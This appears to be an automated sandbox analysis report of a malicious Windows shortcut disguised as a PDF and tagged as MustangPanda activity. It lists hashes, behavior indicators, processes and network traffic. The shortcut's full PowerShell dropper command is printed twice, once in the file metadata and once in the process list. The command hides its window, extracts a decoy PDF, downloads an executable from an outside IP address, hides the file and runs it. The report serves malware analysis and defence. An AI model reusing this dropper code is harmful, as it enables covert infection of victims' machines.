File name:

test.pdf.lnk

Full analysis: https://app.any.run/tasks/6ab144d0-6f1e-45d8-acae-fd4620792eab
Verdict: Malicious activity
Analysis date: May 10, 2025, 03:14:23
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
mustangpanda
Indicators:
MIME: application/x-ms-shortcut
File info: MS Windows shortcut, Has Description string, Has command line arguments, Icon number=0, Unicoded, HasEnvironment, PreferEnvironmentPath, length=0, window=showminnoactive
MD5:

ADF3F4BD45D75DB4ABA207FBD40A690E

SHA1:

A9B6978D694AE92910C7592475EE7654413A0774

SHA256:

3C7254F079834C8F39B8CED69BFF2BAECB94C326B1D0D8FBC96A410E97BEB74E

SSDEEP:

98304:nVO9blhd2pdBlmFTbSemBfurI6G/UoUByIAVuNFRyuVPhro4sLGSfJqZDh/ZOFm2:0WPORi

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  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6620)

    • MUSTANGPANDA has been detected

      • powershell.exe (PID: 6620)

  • SUSPICIOUS

    • Returns all items found within a container (POWERSHELL)

      • powershell.exe (PID: 6620)

    • Connects to unusual port

      • powershell.exe (PID: 6620)

    • Found IP address in command line

      • powershell.exe (PID: 6620)

    • Downloads file from URI via Powershell

      • powershell.exe (PID: 6620)

  • INFO

    • Failed to connect to remote server (POWERSHELL)

      • powershell.exe (PID: 6620)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 6620)

    • Returns hidden items found within a container (POWERSHELL)

      • conhost.exe (PID: 2320)

    • Disables trace logs

      • powershell.exe (PID: 6620)

    • Checks proxy server information

      • powershell.exe (PID: 6620)

    • Reads the software policy settings

      • slui.exe (PID: 5552)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 6620)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: Description, CommandArgs, IconFile, Unicode, ExpString, PreferEnvPath
FileAttributes: (none)
TargetFileSize: -
IconIndex: (none)
RunWindow: Show Minimized No Activate
HotKey: (none)
Description: Type: Text Document Size: 5.23 KB Date modified: 08/18/2024 11:23
CommandLineArguments: -windowstyle hidden $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00A53C72} | Select-Object -ExpandProperty Name;$file = [System.IO.File]::ReadAllBytes($lnkpath); $path = '%temp%\教学文档' + '.pdf';$exepath = '%temp%\tmp123' + '.exe';$skipBytes = 003684; $skipdisBytes = 101476 ;$bytes = [byte[]]$file[$skipBytes..$skipdisBytes];$disbytes = [byte[]]$file[$skipdisBytes..$($file.Length-1)];[System.IO.File]::WriteAllBytes($path, $disbytes);"%temp%\教学文档.pdf";$fileUrl = ‘182.92.116.32:12777/protect_distribution.exe’;$tempFolder = [System.IO.Path]::GetTempPath();$downloadPath = Join-Path -Path $tempFolder -ChildPath "tmp_032056.exe";Invoke-WebRequest -Uri $fileUrl -OutFile $downloadPath;$file = Get-Item -Path $downloadPath;$file.Attributes = "Hidden";"%temp%\tmp_032056.exe";
IconFileName: %SystemRoot%\System32\SHELL32.dll,2
No data.
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Total processes
133
Monitored processes
5
Malicious processes
1
Suspicious processes
0

Behavior graph

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start #MUSTANGPANDA powershell.exe conhost.exe no specs sppextcomobj.exe no specs slui.exe slui.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2320\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4024C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
5324C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
5552"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe
SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
6620"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x00A53C72} | Select-Object -ExpandProperty Name;$file = [System.IO.File]::ReadAllBytes($lnkpath); $path = 'C:\Users\admin\AppData\Local\Temp\教学文档' + '.pdf';$exepath = 'C:\Users\admin\AppData\Local\Temp\tmp123' + '.exe';$skipBytes = 003684; $skipdisBytes = 101476 ;$bytes = [byte[]]$file[$skipBytes..$skipdisBytes];$disbytes = [byte[]]$file[$skipdisBytes..$($file.Length-1)];[System.IO.File]::WriteAllBytes($path, $disbytes);"C:\Users\admin\AppData\Local\Temp\教学文档.pdf";$fileUrl = ‘182.92.116.32:12777/protect_distribution.exe’;$tempFolder = [System.IO.Path]::GetTempPath();$downloadPath = Join-Path -Path $tempFolder -ChildPath "tmp_032056.exe";Invoke-WebRequest -Uri $fileUrl -OutFile $downloadPath;$file = Get-Item -Path $downloadPath;$file.Attributes = "Hidden";"C:\Users\admin\AppData\Local\Temp\tmp_032056.exe";C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
6 971
Read events
6 971
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
3
Text files
4
Unknown types
0

Dropped files

PID
Process
Filename
Type
6620powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\f6bdcde9a3b05068.customDestinations-msbinary
MD5:E2577BADFE9C9D29B6BDE6DE586EAA0F
SHA256:A5866CF20EDB20EC4B21471BBDCDCA61B5B0E04A246692DDBA6973B3610D38BC
6620powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\N3GKPYIVOCP1KOUJ6MV3.tempbinary
MD5:E2577BADFE9C9D29B6BDE6DE586EAA0F
SHA256:A5866CF20EDB20EC4B21471BBDCDCA61B5B0E04A246692DDBA6973B3610D38BC
6620powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_qq1zrscp.gkq.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6620powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_1u2off54.0jv.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6620powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_oytvod1k.03o.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6620powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:081AF147ACF4E2664F779F4FB5A778C5
SHA256:CE97A84FE50E66F052BFD422067758462654FA262CE6EBBF3246EBE84A6A546B
6620powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4tipzv15.rlh.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
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HTTP(S) requests
5
TCP/UDP connections
25
DNS requests
15
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
2.16.164.120:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5116
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
5116
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
2.16.164.120:80
crl.microsoft.com
Akamai International B.V.
NL
whitelisted
—
—
2.23.246.101:80
www.microsoft.com
Ooredoo Q.S.C.
QA
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
6544
svchost.exe
20.190.160.22:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
3216
svchost.exe
172.211.123.250:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
6620
powershell.exe
182.92.116.32:12777
—
Hangzhou Alibaba Advertising Co.,Ltd.
CN
unknown
2104
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 20.73.194.208
whitelisted
crl.microsoft.com
  • 2.16.164.120
  • 2.16.164.49
whitelisted
www.microsoft.com
  • 2.23.246.101
  • 184.30.21.171
whitelisted
google.com
  • 216.58.206.78
whitelisted
login.live.com
  • 20.190.160.22
  • 40.126.32.133
  • 40.126.32.68
  • 40.126.32.140
  • 20.190.160.20
  • 20.190.160.130
  • 40.126.32.134
  • 20.190.160.17
whitelisted
client.wns.windows.com
  • 172.211.123.250
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
slscr.update.microsoft.com
  • 52.149.20.212
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 52.165.164.15
whitelisted
activation-v2.sls.microsoft.com
  • 20.83.72.98
whitelisted

Threats

No threats detected
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